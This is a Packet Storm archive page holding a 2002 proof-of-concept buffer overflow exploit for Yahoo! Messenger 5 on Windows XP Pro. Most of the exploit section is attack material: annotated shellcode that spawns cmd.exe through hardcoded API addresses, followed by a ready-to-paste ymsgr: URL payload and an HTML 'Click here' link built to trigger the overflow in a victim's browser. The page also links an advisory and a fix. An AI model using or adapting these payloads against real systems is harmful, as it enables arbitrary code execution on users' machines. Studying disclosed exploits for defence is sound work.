what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ymxp.txt

ymxp.txt
Posted Jun 3, 2002
Authored by sk | Site scan-associates.net

Yahoo! Messenger v5,0,0,1061 buffer overflow exploit for Windows XP Pro. Shellcode spawns cmd.exe. Fix available here.

tags | exploit, overflow, shellcode
systems | windows
SHA-256 | 596e8d32292e00213f89d2811227c7e70b98b19be3b42189a13ad01d3f5aa08f

ymxp.txt

Change Mirror Download
Yahoo! Messenger (5,0,0,1061) Buffer Overflow Exploit for Win XP Pro





Intro:
Proof of concept code for YM Buffer Overflow as discovered in:
http://packetstorm.decepticons.org/advisories/misc/yahoo-im.txt





Code flow:
Overwrite EIP at 218
Point EIP to a "RET" in the memory
"RET" jumps to beginning of shellcode
Shellcode spawns cmd.exe
Terminate YM gracefully :)





'shellcode':

55 push ebp
54 push esp
5D pop ebp
33 FF xor edi,edi
57 push edi
C6 45 FC 63 mov byte ptr [ebp-04h],'c'
C6 45 FD 6D mov byte ptr [ebp-03h],'m'
C6 45 FE 64 mov byte ptr [ebp-02h],'d'
57 push edi
C6 45 F8 03 mov byte ptr[ebp-08h],3 ;Max window
8D 45 FC lea eax,[ebp-4h]
50 push eax
B8 7E684C67 mov eax,7E684C67h ;CreateProcess@77E684C6h
C1 C8 04 ror eax, 4
FF D0 call eax
B8 7EB854B7 mov eax,7EB854B7h ;FatalExit@77EB854Bh
C1 C8 04 ror eax, 4
FF D0 call eax





Test:
Parse this to your IE browser
ymsgr:call?%55%54%5D%33%FF%57%C6%45%FC%63%C6%45%FD%6D%C6%45%FE%64%57%C6%45%F8%03%8D%45%FC%50%B8%67%4C%68%7E%C1%C8%04%FF%D0%B8%B7%54%B8%7E%C1%C8%04%FF%D0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb%e2%1e%e7%77

Or put this into an HTML file
<a href="ymsgr:call?%55%54%5D%33%FF%57%C6%45%FC%63%C6%45%FD%6D%C6%45%FE%64%57%C6%45%F8%03%8D%45%FC%50%B8%67%4C%68%7E%C1%C8%04%FF%D0%B8%B7%54%B8%7E%C1%C8%04%FF%D0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb%e2%1e%e7%77">Click here</a>





Fix:
Update YM at http://messenger.yahoo.com/




Credit:
sk@scan-associates.net
31 May 2002
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close